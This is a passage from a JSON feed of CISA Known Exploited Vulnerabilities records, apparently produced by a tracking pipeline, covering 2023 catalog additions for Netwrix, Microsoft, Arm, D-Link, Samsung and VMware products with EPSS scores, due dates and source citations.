CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2023-07-11","updatedAt":null,"regions":["Global"],"vendor":"Netwrix","product":"Auditor","stacks":["Netwrix","Auditor"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-11","dueAt":"2023-08-01","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.36009,"percentile":0.98461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-31199&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-31199","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-31199 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-31199&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-31199, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-32046","cveId":"CVE-2023-32046","aliases":[],"kind":"vulnerability","title":"Microsoft Windows MSHTML Platform Privilege Escalation Vulnerability","summary":"Microsoft Windows MSHTML Platform contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2023-07-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-11","dueAt":"2023-08-01","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09969,"percentile":0.95566,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-32046&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-32046","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-32046 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-32046&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-32046, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-32049","cveId":"CVE-2023-32049","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Defender SmartScreen Security Feature Bypass Vulnerability","summary":"Microsoft Windows Defender SmartScreen contains a security feature bypass vulnerability that allows an attacker to bypass the Open File - Security Warning prompt.","detail":"CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2023-07-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-11","dueAt":"2023-08-01","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04156,"percentile":0.908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-32049&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-32049","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-32049 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-32049&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-32049, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-35311","cveId":"CVE-2023-35311","aliases":[],"kind":"vulnerability","title":"Microsoft Outlook Security Feature Bypass Vulnerability","summary":"Microsoft Outlook contains a security feature bypass vulnerability that allows an attacker to bypass the Microsoft Outlook Security Notice prompt.","detail":"CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2023-07-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Outlook","stacks":["Microsoft Office","Microsoft","Outlook"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-11","dueAt":"2023-08-01","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.15522,"percentile":0.96787,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-35311&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-35311","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-35311 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-35311&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-35311, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36874","cveId":"CVE-2023-36874","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Error Reporting Service Privilege Escalation Vulnerability","summary":"Microsoft Windows Error Reporting Service contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2023-07-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-11","dueAt":"2023-08-01","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.42564,"percentile":0.98701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36874&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36874","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36874 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36874&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36874, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-29256","cveId":"CVE-2021-29256","aliases":[],"kind":"vulnerability","title":"Arm Mali GPU Kernel Driver Use-After-Free Vulnerability","summary":"Arm Mali GPU Kernel Driver contains a use-after-free vulnerability that may allow a non-privileged user to gain root privilege and/or disclose information.","detail":"CISA added this entry on 2023-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2023-07-07","updatedAt":null,"regions":["Global"],"vendor":"Arm","product":"Mali Graphics Processing Unit (GPU)","stacks":["Arm","Mali Graphics Processing Unit (GPU)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-07-07","dueAt":"2023-07-28","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02988,"percentile":0.87218,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-29256&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-29256","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-07-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-29256 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-29256&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-29256, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-17621","cveId":"CVE-2019-17621","aliases":[],"kind":"vulnerability","title":"D-Link DIR-859 Router Command Execution Vulnerability","summary":"D-Link DIR-859 router contains a command execution vulnerability in the UPnP endpoint URL, /gena.cgi. Exploitation allows an unauthenticated remote attacker to execute system commands as root by sending a specially crafted HTTP SUBSCRIBE request to the UPnP service when connecting to the local network.","detail":"CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2023-06-29","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-859 Router","stacks":["D-Link","DIR-859 Router"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-29","dueAt":"2023-07-20","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90615,"percentile":0.99801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-17621&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-17621","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-17621 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-17621&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-17621, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-20500","cveId":"CVE-2019-20500","aliases":[],"kind":"vulnerability","title":"D-Link DWL-2600AP Access Point Command Injection Vulnerability","summary":"D-Link DWL-2600AP access point contains an authenticated command injection vulnerability via the Save Configuration functionality in the Web interface, using shell metacharacters in the admin.cgi?action=config_save configBackup or downloadServerip parameter.","detail":"CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2023-06-29","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DWL-2600AP Access Point","stacks":["D-Link","DWL-2600AP Access Point"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-29","dueAt":"2023-07-20","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96713,"percentile":0.99884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-20500&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-20500","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-20500 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-20500&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-20500, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25371","cveId":"CVE-2021-25371","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Unspecified Vulnerability","summary":"Samsung mobile devices contain an unspecified vulnerability within DSP driver that allows attackers to load ELF libraries inside DSP.","detail":"CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","publishedAt":"2023-06-29","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-29","dueAt":"2023-07-20","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00802,"percentile":0.56366,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25371&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25371","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25371 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25371&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25371, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25372","cveId":"CVE-2021-25372","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Improper Boundary Check Vulnerability","summary":"Samsung mobile devices contain an improper boundary check vulnerability within DSP driver that allows for out-of-bounds memory access.","detail":"CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","publishedAt":"2023-06-29","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-29","dueAt":"2023-07-20","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00804,"percentile":0.56468,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25372&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25372","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25372 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25372&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25372, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25394","cveId":"CVE-2021-25394","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Race Condition Vulnerability","summary":"Samsung mobile devices contain a race condition vulnerability within the MFC charger driver that leads to a use-after-free allowing for a write given a radio privilege is compromised.","detail":"CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","publishedAt":"2023-06-29","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-29","dueAt":"2023-07-20","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00401,"percentile":0.34111,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25394&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25394","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25394 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25394&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25394, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25395","cveId":"CVE-2021-25395","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Race Condition Vulnerability","summary":"Samsung mobile devices contain a race condition vulnerability within the MFC charger driver that leads to a use-after-free allowing for a write given a radio privilege is compromised.","detail":"CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","publishedAt":"2023-06-29","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-29","dueAt":"2023-07-20","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00366,"percentile":0.30221,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25395&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25395","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25395 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25395&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25395, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25487","cveId":"CVE-2021-25487","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Out-of-Bounds Read Vulnerability","summary":"Samsung mobile devices contain an out-of-bounds read vulnerability within the modem interface driver due to a lack of boundary checking of a buffer in set_skb_priv(), leading to remote code execution by dereference of an invalid function pointer.","detail":"CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","publishedAt":"2023-06-29","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-29","dueAt":"2023-07-20","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00635,"percentile":0.50142,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25487&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25487","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25487 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25487&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25487, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25489","cveId":"CVE-2021-25489","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Improper Input Validation Vulnerability","summary":"Samsung mobile devices contain an improper input validation vulnerability within the modem interface driver that results in a format string bug leading to kernel panic.","detail":"CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","publishedAt":"2023-06-29","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-29","dueAt":"2023-07-20","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00531,"percentile":0.44564,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25489&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25489","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25489 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25489&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25489, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-20867","cveId":"CVE-2023-20867","aliases":[],"kind":"vulnerability","title":"VMware Tools Authentication Bypass Vulnerability","summary":"VMware Tools contains an authentication bypass vulnerability in the vgauth module. A fully compromised ESXi host can force VMware Tools to fail to authenticate host-to-guest operations, impacting the confidentiality and integrity of the guest virtual machine. An attacker must have root access over ESXi to exploit this vulnerability.","detail":"CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-23","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"Tools","stacks":["VMware","Tools"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-23","dueAt":"2023-07-14","action":"Apply updates per vendor 